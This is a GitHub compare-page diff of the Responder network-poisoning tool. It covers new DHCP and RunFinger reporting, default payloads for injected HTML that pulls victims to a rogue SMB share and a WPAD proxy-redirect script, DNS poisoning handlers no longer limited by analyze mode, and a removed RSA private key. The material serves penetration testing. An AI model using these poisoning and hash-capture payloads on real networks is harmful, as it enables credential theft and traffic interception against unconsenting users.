mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-07 21:21:34 +00:00
Compare commits
21 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ba885b9345 | ||
|
|
568048710f | ||
|
|
3cd5140c80 | ||
|
|
17e62bda1a | ||
|
|
6e2c77168f | ||
|
|
d425783be9 | ||
|
|
de778f6698 | ||
|
|
21afd357f8 | ||
|
|
a567d3dc31 | ||
|
|
f90b76fed2 | ||
|
|
51411e6b20 | ||
|
|
826b5af9e2 | ||
|
|
29ae6eca2e | ||
|
|
a462d1df06 | ||
|
|
110f565bbd | ||
|
|
88a2c6a53b | ||
|
|
1dfa997da8 | ||
|
|
0bf23d632b | ||
|
|
02fb3f8978 | ||
|
|
1b2a22facf | ||
|
|
e8e3f155f2 |
@@ -85,7 +85,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
|
|||||||
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
||||||
|
|
||||||
- Responder will log all its activity to Responder-Session.log
|
- Responder will log all its activity to Responder-Session.log
|
||||||
- Analyze mode will be logged to Analyze-Session.log
|
- Analyze mode will be logged to Analyzer-Session.log
|
||||||
- Poisoning will be logged to Poisoners-Session.log
|
- Poisoning will be logged to Poisoners-Session.log
|
||||||
|
|
||||||
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
||||||
|
|||||||
34
Report.py
34
Report.py
@@ -31,6 +31,10 @@ def DbConnect():
|
|||||||
cursor = sqlite3.connect("./Responder.db")
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
return cursor
|
return cursor
|
||||||
|
|
||||||
|
def FingerDbConnect():
|
||||||
|
cursor = sqlite3.connect("./tools/RunFinger.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
def GetResponderData(cursor):
|
def GetResponderData(cursor):
|
||||||
res = cursor.execute("SELECT * FROM Responder")
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
@@ -39,7 +43,7 @@ def GetResponderData(cursor):
|
|||||||
def GetResponderUsernamesStatistic(cursor):
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
def GetResponderUsernames(cursor):
|
def GetResponderUsernames(cursor):
|
||||||
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
@@ -62,11 +66,20 @@ def GetUniqueLookups(cursor):
|
|||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
def GetUniqueDHCP(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
|
||||||
|
|
||||||
|
def GetRunFinger(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
|
||||||
|
|
||||||
def GetStatisticUniqueLookups(cursor):
|
def GetStatisticUniqueLookups(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
|
|
||||||
def SavePoisonersToDb(result):
|
def SavePoisonersToDb(result):
|
||||||
@@ -82,8 +95,11 @@ def SaveToDb(result):
|
|||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
print(color("[+] Generating report...", code = 3, modifier = 1))
|
print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
||||||
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
|
||||||
|
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||||
|
GetUniqueDHCP(cursor)
|
||||||
|
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||||
GetUniqueLookups(cursor)
|
GetUniqueLookups(cursor)
|
||||||
GetStatisticUniqueLookups(cursor)
|
GetStatisticUniqueLookups(cursor)
|
||||||
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
||||||
@@ -91,5 +107,11 @@ GetResponderUsernames(cursor)
|
|||||||
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||||
GetResponderUsernamesWithDetails(cursor)
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
GetResponderUsernamesStatistic(cursor)
|
GetResponderUsernamesStatistic(cursor)
|
||||||
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)
|
||||||
#GetResponderCompleteHash(cursor)
|
cursor.close()
|
||||||
|
try:
|
||||||
|
cursor = FingerDbConnect()
|
||||||
|
GetRunFinger(cursor)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
print('\n')
|
||||||
|
|||||||
9
Responder.conf
Normal file → Executable file
9
Responder.conf
Normal file → Executable file
@@ -44,6 +44,7 @@ RespondTo =
|
|||||||
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||||
;RespondToName = WPAD, DEV, PROD, SQLINT
|
;RespondToName = WPAD, DEV, PROD, SQLINT
|
||||||
RespondToName =
|
RespondToName =
|
||||||
|
|
||||||
; Specific IP Addresses not to respond to (default = None)
|
; Specific IP Addresses not to respond to (default = None)
|
||||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||||
DontRespondTo =
|
DontRespondTo =
|
||||||
@@ -88,12 +89,12 @@ ExeFilename = ;files/filetoserve.exe
|
|||||||
ExeDownloadName = ProxyClient.exe
|
ExeDownloadName = ProxyClient.exe
|
||||||
|
|
||||||
; Custom WPAD Script
|
; Custom WPAD Script
|
||||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
|
||||||
|
WPADScript =
|
||||||
|
|
||||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||||
; Set to an empty string to disable.
|
; leave empty if you want to use the default one (redirect to SMB on your IP address).
|
||||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
HTMLToInject =
|
||||||
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
|
|
||||||
|
|
||||||
[HTTPS Server]
|
[HTTPS Server]
|
||||||
|
|
||||||
|
|||||||
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
@@ -1,3 +1,3 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
openssl genrsa -out responder.key 2048
|
openssl genrsa -out certs/responder.key 2048
|
||||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"
|
||||||
|
|||||||
@@ -1,18 +0,0 @@
|
|||||||
-----BEGIN CERTIFICATE-----
|
|
||||||
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
|
|
||||||
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
|
|
||||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
|
|
||||||
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
|
|
||||||
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
|
|
||||||
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
|
|
||||||
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
|
|
||||||
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
|
|
||||||
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
|
|
||||||
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
|
|
||||||
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
|
|
||||||
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
|
|
||||||
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
|
|
||||||
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
|
|
||||||
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
|
|
||||||
iKqwycWcwlFFUDbwBuOyfbfwjtUf
|
|
||||||
-----END CERTIFICATE-----
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
-----BEGIN RSA PRIVATE KEY-----
|
|
||||||
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
|
|
||||||
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
|
|
||||||
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
|
|
||||||
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
|
|
||||||
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
|
|
||||||
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
|
|
||||||
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
|
|
||||||
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
|
|
||||||
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
|
|
||||||
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
|
|
||||||
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
|
|
||||||
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
|
|
||||||
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
|
|
||||||
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
|
|
||||||
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
|
|
||||||
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
|
|
||||||
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
|
|
||||||
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
|
|
||||||
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
|
|
||||||
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
|
|
||||||
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
|
|
||||||
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
|
|
||||||
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
|
|
||||||
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
|
|
||||||
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
|
|
||||||
-----END RSA PRIVATE KEY-----
|
|
||||||
@@ -79,7 +79,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
|
|||||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||||
Interface = settings.Config.Interface
|
Interface = settings.Config.Interface
|
||||||
Responder_IP = FindLocalIP(Interface, None)
|
Responder_IP = RespondWithIP()
|
||||||
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
|
||||||
NETMASK = "255.255.255.0"
|
NETMASK = "255.255.255.0"
|
||||||
DNSIP = "0.0.0.0"
|
DNSIP = "0.0.0.0"
|
||||||
@@ -90,8 +90,12 @@ Respond_To_Requests = True
|
|||||||
DHCPClient = []
|
DHCPClient = []
|
||||||
|
|
||||||
def GetMacAddress(Interface):
|
def GetMacAddress(Interface):
|
||||||
|
try:
|
||||||
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
|
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
|
||||||
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||||
|
except:
|
||||||
|
mac = "00:00:00:00:00:00"
|
||||||
|
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
|
||||||
|
|
||||||
##### IP Header #####
|
##### IP Header #####
|
||||||
class IPHead(Packet):
|
class IPHead(Packet):
|
||||||
@@ -263,6 +267,11 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
DHCPClient.append(MacAddrStr)
|
DHCPClient.append(MacAddrStr)
|
||||||
|
SaveDHCPToDb({
|
||||||
|
'MAC': MacAddrStr,
|
||||||
|
'IP': CurrentIP,
|
||||||
|
'RequestedIP': IPConv,
|
||||||
|
})
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||||
|
|
||||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
@@ -277,6 +286,11 @@ def ParseDHCPCode(data, ClientIP):
|
|||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
DHCPClient.append(MacAddrStr)
|
DHCPClient.append(MacAddrStr)
|
||||||
|
SaveDHCPToDb({
|
||||||
|
'MAC': MacAddrStr,
|
||||||
|
'IP': CurrentIP,
|
||||||
|
'RequestedIP': IPConv,
|
||||||
|
})
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||||
|
|
||||||
def SendDiscover():
|
def SendDiscover():
|
||||||
|
|||||||
8
servers/DNS.py
Normal file → Executable file
8
servers/DNS.py
Normal file → Executable file
@@ -39,14 +39,14 @@ class DNS(BaseRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
@@ -65,14 +65,14 @@ class DNSTCP(BaseRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
|||||||
92
settings.py
92
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 3.0.7.0'
|
__version__ = 'Responder 3.0.9.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -114,6 +114,43 @@ class Settings:
|
|||||||
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
||||||
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
||||||
|
|
||||||
|
# CLI options
|
||||||
|
self.ExternalIP = options.ExternalIP
|
||||||
|
self.LM_On_Off = options.LM_On_Off
|
||||||
|
self.NOESS_On_Off = options.NOESS_On_Off
|
||||||
|
self.WPAD_On_Off = options.WPAD_On_Off
|
||||||
|
self.Wredirect = options.Wredirect
|
||||||
|
self.DHCP_On_Off = options.DHCP_On_Off
|
||||||
|
self.Basic = options.Basic
|
||||||
|
self.Finger_On_Off = options.Finger
|
||||||
|
self.Interface = options.Interface
|
||||||
|
self.OURIP = options.OURIP
|
||||||
|
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||||
|
self.Upstream_Proxy = options.Upstream_Proxy
|
||||||
|
self.AnalyzeMode = options.Analyze
|
||||||
|
self.Verbose = options.Verbose
|
||||||
|
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||||
|
self.CommandLine = str(sys.argv)
|
||||||
|
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||||
|
|
||||||
|
if self.Interface == "ALL":
|
||||||
|
self.Bind_To_ALL = True
|
||||||
|
else:
|
||||||
|
self.Bind_To_ALL = False
|
||||||
|
|
||||||
|
if self.Interface == "ALL":
|
||||||
|
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||||
|
else:
|
||||||
|
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||||
|
|
||||||
|
if self.ExternalIP:
|
||||||
|
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||||
|
self.ExternalResponderIP = utils.RespondWithIP()
|
||||||
|
else:
|
||||||
|
self.ExternalResponderIP = self.Bind_To
|
||||||
|
|
||||||
|
self.Os_version = sys.platform
|
||||||
|
|
||||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||||
@@ -144,6 +181,12 @@ class Settings:
|
|||||||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||||
|
|
||||||
|
if len(self.HtmlToInject) == 0:
|
||||||
|
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||||
|
|
||||||
|
if len(self.WPAD_Script) == 0:
|
||||||
|
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
||||||
|
|
||||||
if self.Serve_Exe == True:
|
if self.Serve_Exe == True:
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||||
@@ -174,44 +217,6 @@ class Settings:
|
|||||||
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||||
self.AutoIgnoreList = []
|
self.AutoIgnoreList = []
|
||||||
|
|
||||||
# CLI options
|
|
||||||
self.ExternalIP = options.ExternalIP
|
|
||||||
self.LM_On_Off = options.LM_On_Off
|
|
||||||
self.NOESS_On_Off = options.NOESS_On_Off
|
|
||||||
self.WPAD_On_Off = options.WPAD_On_Off
|
|
||||||
self.Wredirect = options.Wredirect
|
|
||||||
self.DHCP_On_Off = options.DHCP_On_Off
|
|
||||||
self.Basic = options.Basic
|
|
||||||
self.Finger_On_Off = options.Finger
|
|
||||||
self.Interface = options.Interface
|
|
||||||
self.OURIP = options.OURIP
|
|
||||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
|
||||||
self.Upstream_Proxy = options.Upstream_Proxy
|
|
||||||
self.AnalyzeMode = options.Analyze
|
|
||||||
self.Verbose = options.Verbose
|
|
||||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
|
||||||
self.CommandLine = str(sys.argv)
|
|
||||||
|
|
||||||
if self.ExternalIP:
|
|
||||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
|
||||||
|
|
||||||
if self.HtmlToInject == None:
|
|
||||||
self.HtmlToInject = ''
|
|
||||||
|
|
||||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
|
||||||
self.Bind_To_ALL = True
|
|
||||||
else:
|
|
||||||
self.Bind_To_ALL = False
|
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
|
||||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
|
||||||
else:
|
|
||||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
|
||||||
|
|
||||||
self.Os_version = sys.platform
|
|
||||||
|
|
||||||
# Set up Challenge
|
# Set up Challenge
|
||||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||||
if self.NumChal.lower() == 'random':
|
if self.NumChal.lower() == 'random':
|
||||||
@@ -250,6 +255,13 @@ class Settings:
|
|||||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||||
|
|
||||||
|
# First time Responder run?
|
||||||
|
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
|
||||||
|
